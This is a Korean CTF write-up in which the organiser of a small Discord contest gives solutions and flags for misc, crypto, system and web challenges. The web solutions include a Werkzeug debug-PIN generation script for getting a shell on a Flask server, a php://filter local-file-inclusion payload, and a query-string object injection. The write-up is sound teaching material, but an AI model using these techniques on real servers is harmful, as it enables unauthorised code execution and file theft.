약 3일간 한국 디스코드봇 리스트 디스코드내에서 재미삼아 조그만한 CTF를 진행해보았습니다.
생각보다 많은 분들이 참여해주셔서 감사드립니다 ^^
- 해당 풀이 방법은 의도한 풀이방법입니다.
- 해당 풀이와 다를 수는 있지만, 완전 방법이 다를 경우 틀린 풀이일 수 있습니다.
질문 있으시면 DM(wonderlandpark#9999) 주세요.
Misc
Hello, CTF
문제의 주석에 플래그가 있습니다.
FLAG: IU{Th1s_1s_My_F14g}
너의 의미
이미지 뒤쪽에 플래그가 있다. 텍스트 에디터나 strings
명령어 등을 사용하면 된다.
FLAG: IU{H1dden1nJpG}
임포스터
exiftool을 이용하여 파일들을 뒤적여준다.
그럼 간단하게 1.jpg 파일에 zip 파일이 포함되어있는걸 확인할 수 있다.
imposter binwalk -e 1.jpg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 Zip archive data, at least v1.0 to extract, compressed size: 18, uncompressed size: 18, name: FLAG
154 0x9A End of Zip archive, footer length: 22
binwalk을 이용하여 압축을 풀어줍니다.
플래그가 짠!
FLAG: IU{A11_crewmates}
오늘 저녁은 민트초코
exiftool로 분석한 결과 zip 파일이 짠
생겨난 zip 파일에 암호를 입력하라고 하는데 해당 zip 파일명을 base64로 디코딩해주면 Kore4nb0ts
라는 값이 나온다.
이를 암호로 입력해주면 플래그 파일에서 값을 확인할 수 있다.
FLAG: IU{Fi1eH2dden1nDoc}
화가난 솔로
URL로 접속하면 다음과 같이 표시된다.
PRI
http://dontgo.wonder.im
PRI는 HTTP METHOD중에 하나로 잘 쓰이진 않는다.
이로 보았을때 PRI Method로 요청을 보내보자.
curl -X PRI http://dontgo.wonder.im
WONDER
자칫 이값이 플래그라고 생각할 수 있지만 명심하자 플래그는 형식이 정해져있다.
curl -X WONDER http://dontgo.wonder.im
IUISBEST_
curl -X IUISBEST_ http://dontgo.wonder.im
IU-YOU_GOT_IT-
이 낚시에도 낚이면 안된다
curl -X IU-REAL_FLAG- http://dontgo.wonder.im
IU-REAL_FLAG-
한 번 더!
curl -X IU-REAL_FLAG- http://dontgo.wonder.im
VTFaV04xWkhhR3hZZWtab1l6TlNabEpxUm1oYU16QTk=
나온 값을 base64로 3번 디코딩해준다.
FLAG: IU{The_1ast_F1ag}
Network
고양이
nc wargame.wonder.im 1234
netcat을 이용하여 접속하면 플래그를 준다.
FLAG: IU{you_Know_h0w_T0_U$e_netcat}
Crypto
그 사람 나를 보아도 어떤건지 몰라요
rot 10
FLAG: IU{1m_rot_sixteen}
모솔의 노트
모솔의 노트에 적혀있는건 도깨비 글자이다.
힌트에 도깨비 OST도 올려져있기에 찾는건 그리 어렵지 않을거라고 생각했다.
위 이미지를 대입해준다.
아이 유 아이 에스 비 이 에스 티
플래그는 다음과 같다.
FLAG: IU{iuisbest}
system
basic
#include <stdio.h>
#include <stdlib.h>
int main(void){
printf("나는 멋지다");
char flag[50]="IU{HIDDEN}";
write(5,flag,sizeof(flag));
return 0;
}
소스코드를 보자
write()
함수를 사용하여 file descriptor에 써주고 있다.
따라서 다음과 같이 file descriptor를 리다이랙션 시켜주면 된다.
./basic 5>&1
5번 file descriptor를 1번(stdout)으로
FLAG: IU{fi1e_desCript0realF1ag}
web
Tim Cook, 질소를 샀더니
각각 쿠키 값을 읽어주면 된다.
FLAG: IU{mintchoco_is_better_than_cookie}
and
IU{Tastyyyyyyy_cooook12s}
반드시 너를 찾을게 플래그 ⭐
const express = require('express')
const app = express()
const port = 3000
const FLAG = 'HIDDEN'
app.get('/', (req, res) => {
if(!req.query.name) return res.send('No Name')
if(req.query.name.length == -1) return res.send(FLAG)
res.send(`Hello, ${req.query.name}`)
})
app.listen(port, () => {
console.log(`I'm Ready`)
})
소스코드는 위와 같다.
name이라는 쿼리 스트링에서 length
라는 property가 -1 이면 플래그를 보내준다.
하지만 텍스트의 길이는 음수가 될 수 없다.
따라서 이건 쿼리 스트링으로 오브젝트를 보내줘야한다
http://express.wonder.im/?name[length]=-1
FLAG: IU{Querystring_1s_n0t_$afe}
나는 그 소스를 몰라요
사이트에 접속해주면 alert가 반겨준다.
실제로 100000번을 따라하면 되지만 그건 현명하지 못한 아이디어다.
먼저, curl이나 wget, view-source 등을 이용하여 소스코드를 확인한다.
<html>
<head>
<meta charset="utf8">
</head>
<body> 멋진 문제네요 </body>
<script>
// ...
</script>
</html>
스크립트 태그 안에는 난독화 되어있는 소스코드가 있다.
이걸 분석할 필요가 없다.
위에 다음과 같이 선언해준다.
const alert = console.log
const prompt = (text) => text
다음과 같이 선언해주면 alert 대신 콘솔에 로그가 될테고, prompt 함수는 무조건 입력값이 반환값이 되도록해주면 모든 값이 true가 되어 100000번 입력할 필요가 없다.
Upload
플래그 값이 0.5초도 걸리지 않고 나온다 짠~
FLAG: IU{Th1s1sTheRe4lF1ag}
오늘도 즐거운 백엔드 개발~
해당 문제는 Flask의 디버그 모드가 켜져있어 디버그 핀을 가져오면 된다.
디버그 핀을 가져오기 위해서 Werkzeung 코드를 분석해보길 바란다.
해당 블로그에 자세히 나와있다.
그냥 브라우저로 요청하면 ../../
와 같은것들을 전부 마음대로 바꿔버리기에 node-fetch
등의 모듈을 사용하여 요청해주어야한다.
FROM python:3.8
EXPOSE 8000
RUN adduser --disabled-password happyctf
ADD ./server /server
WORKDIR /server
RUN pip install -r requirements.txt
USER happyctf
ENTRYPOINT ["python"]
CMD ["app.py"]
도커 파일을 확인해보면 유저명은 happyctf 이며 파이썬 버전은 3.8이다.
MAC 주소를 숫자로 변환해준다
machine-id를 가져온다.
도커에서 돌아가고 있기에 cgroup 정보도 가져와야한다.
import hashlib
from itertools import chain
probably_public_bits = [
'happyctf', # username
'flask.app',# modname 고정
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__')) 고정
'/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
# python 버전 마다 위치 다름
]
private_bits = [
'2485377892354', # MAC주소를 int형으로 변환한 값,
'3766705eb195582e8168a9a1b913c7c77ea03280bece2c1c200fcc821a634f8c460fafb2bd3def7007f69c3556fd19d3' # get_machine_id()
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
위 스크립트를 실행해준다.
나온 핀 코드로 쉘에 로그인해준다.
로그인 한 뒤 마음대로 스크립트를 실행하여 플래그를 확인한다.
FLAG: IU{s2cr2t_2xp1o1t}
솔로의 파일 저장소
결론부터 말하겠다.
http://solonote.wonder.im/?page=php://filter/convert.base64-encode/resource=../files/flag
<html>
<head>
<title>솔로의 파일 저장소</title>
</head>
<body>
<h1>솔로의 파일 저장소</h1>
<div>
<?php
ini_set('display_errors', 'Off');
include $_GET['page']?$_GET['page'].'.php':'main.php';
?>
</div>
</body>
</html>
파일을 보면 include를 사용하고 있다. include는 굉장히 취약하다. 따라서 php filter를 사용하여 파일을 base64로 인코드한 값으로 가져올 수 있다.
PD9waHAKCSRmbGFnID0gJ0lVe3BocC1maTF0ZXIteWVlZX0nOwo/PgrtlIzrnpjqt7jripQgJGZsYWfsl5DsmpQuIOq0gOyLrOuyleycvOuhnCDrs7TrqbQg65Cg6rG47JqUPwo=
해당값을 디코딩해주면
<?php
$flag = 'IU{php-fi1ter-yeee}';
?>
플래그는 $flag에요. 관심법으로 보면 될걸요?
FLAG: IU{php-fi1ter-yeee}
마무리
참여해주신 여러분께 감사드립니다.
다시 돌아올 수 있다면 다시 돌아오겠습니다